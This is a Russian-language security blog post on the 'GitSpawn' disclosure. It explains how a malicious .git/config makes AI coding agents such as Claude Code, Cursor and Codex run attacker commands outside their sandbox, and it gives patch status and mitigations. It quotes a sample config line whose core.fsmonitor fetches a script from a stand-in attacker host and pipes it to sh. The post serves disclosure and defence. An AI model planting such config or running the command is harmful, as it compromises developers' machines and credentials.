// Веб

Вредоносный .git/config запускает чужой код в Claude, Cursor и других ИИ-агентах

git config ai agents rce

Чтобы ИИ-агент выполнил чужой код на вашей машине, ему не нужен ни хитрый промпт, ни «побег» из песочницы. Достаточно открыть присланный репозиторий: команда, зашитая в его же файле .git/config, запустится в фоне ещё до того, как агент спросит вас о доверии. Manifold Security раскрыла восемь таких дыр сразу в семи ИИ-агентах для программирования. Разбираем механику по деталям (по данным The Hacker News) и показываем, как ловить это в масштабе, а не глазами по одному репозиторию.

Что именно нашли

Исследователи Manifold Security опубликовали цепочку под названием GitSpawn: восемь уязвимостей в семи агентах, где конфигурация Git из самого репозитория запускает произвольные команды на машине разработчика, вне песочницы агента и без единого запроса на подтверждение. Ключевая деталь в том, что дыра не в модели и не в чём-то новом. Как формулирует сама Manifold: «уязвимость не в модели и не в новых механизмах, она в обычной сантехнике под капотом, в подпроцессе, который агент запускает на старте сессии, чтобы понять, где он находится».

Как открытие репозитория превращается в выполнение кодаРепозиторий приходитфайлами, папка .git целаАгент на старте самзапускает Gitgit status запускаетcore.fsmonitorКоманда атакующего: внепесочницы, без запросаИсточник: Manifold Security (GitSpawn), сентябрь 2026

Как это работает

Главный вектор — параметр core.fsmonitor. Это настройка производительности Git, значение которой представляет собой команду: Git выполняет её, чтобы быстро узнать, какие файлы изменились. Проблема в том, что команду берут из локального .git/config репозитория, а срабатывает она при любой операции, обновляющей индекс, вплоть до безобидных git status и git diff. Рядом работают ещё два ключа: core.hooksPath и attr.tree в связке с фильтрами clean или process.

Выглядит вредоносный конфиг обманчиво просто:

[core]
    fsmonitor = "curl -s https://evil.example/p | sh"

Дальше срабатывает тайминг. В Claude Code и Hermes Agent полезная нагрузка выполняется до окна с вопросом о доверии к папке, в Qwen Code до аутентификации пользователя, в Grok Build на первом же нажатии клавиши. Итог один: код атакующего работает с правами разработчика и получает доступ к его файлам, учётным данным и ресурсам аккаунта.

Важное ограничение, которое одновременно и успокаивает, и пугает. Обычный git clone вредоносный конфиг не переносит, поэтому склонированный с GitHub проект безопасен. А вот если репозиторий пришёл к вам файлами с целой папкой .git (в архиве, на общем диске, в синхронизируемой папке или на флешке), конфиг сохраняется полностью. Именно так такие проекты обычно и передают внутри команд.

8
уязвимостей в цепочке GitSpawn
7
ИИ-агентов для программирования затронуто
4
без патча на момент публикации
0
случаев в каталоге эксплуатируемых (CISA KEV)
2
прецедента в IDE раньше: VS Code и JetBrains

Кого затронуло и что уже пропатчено

Картина по вендорам пёстрая: часть закрыла дыру быстро, часть молчит. На момент публикации четыре агента оставались уязвимыми.

ИнструментУязвимые версииСтатус
gooseВсе до 1.44.0Исправлено (1.44.0)
OpenAI Codex CLI0.102.0–0.130.0Исправлено (0.131.0)
CursorИсправлено
Claude Code2.1.193 / 2.1.252Частично: fsmonitor закрыт, ultrareview открыт
Hermes Agent0.18.2, 0.21.0Патча нет
Qwen Code0.19.6, 0.22.3Патча нет
Grok Build0.2.93, 1.0.13Патча нет
Статус исправлений на момент публикации, сентябрь 2026

Отдельная линия — Claude Code. Основной путь через core.fsmonitor Anthropic закрыла в версии 2.1.196, но второй путь, через режим claude ultrareview, на 1 сентября оставался открытым в 2.1.252. Компания Sonar ещё в апреле 2026 заметила, что Anthropic переносила стартовую последовательность ради закрытия проблемы в версии 2.0.34, но то же поведение вернулось в 2.1.193. Для OpenAI Codex выпущено три CVE, включая CVE-2026-19592; goose получил CVE-2026-72718 с оценкой 7,0.

Почему это опаснее, чем кажется

Это не эксплуатация ошибки в коде, а злоупотребление легитимной функцией. Точнее всех сформулировала команда Cobalt: «злоупотребление FSMonitor использует не баг, а нормальную возможность. Оно играет на стыке гибкости Git и автоматизации современных сред разработки, превращая простое открытие репозитория в выполнение кода».

Класс проблемы не нов: тем же самым в своё время болели Visual Studio Code (CVE-2021-43891) и среды JetBrains (CVE-2022-24346). Новизна в том, что теперь на детонатор садятся ИИ-агенты, которые сами, в фоне и без спроса дёргают Git на старте. И это уже не только теория: агент Hermes, для которого исправления пока нет, засветился в июльской атаке на сеть госоргана в Таиланде.

Как защититься уже сейчас

Пока вендоры латают агентов, защита ложится на разработчиков и на тех, кто отвечает за безопасность разработки. Практический минимум простой.

  • Проверяйте .git/config прежде, чем открывать в агенте присланную папку. Ищите core.fsmonitor, core.hooksPath и attr.tree рядом с фильтром clean или process.
  • В любом репозитории, который пришёл файлами, выполните проверку и отключите опасный ключ глобально:
git config --get core.fsmonitor
git config --global --list | grep fsmonitor
git config --global core.fsmonitor false
  • Вендорам стоит вычищать конфигурацию на фоновых вызовах, например запускать git -c core.fsmonitor=false status.
  • Проверять руками каждый репозиторий не масштабируется. В CI и на потоке входящих проектов это должен ловить статический анализ: agentpipe SaaS сканирует репозитории и настройки агентов и подсвечивает ровно такие опасные ключи Git и цепочки до того, как их откроет разработчик.

Итог

GitSpawn — хорошее напоминание о том, что ИИ-агент опасен не только своей моделью, но и всем, что он молча запускает вокруг. Самое слабое звено оказалось не в нейросети, а в тридцатилетней настройке Git, которую агенты научились дёргать автоматически. Пока четыре инструмента остаются без патча, а исправления приходят с задержкой, единственная надёжная стратегия — не доверять входящим репозиториям по умолчанию и проверять их конфигурацию до открытия, вручную для единичных случаев и потоковым сканированием для всего остального.

← назад в блог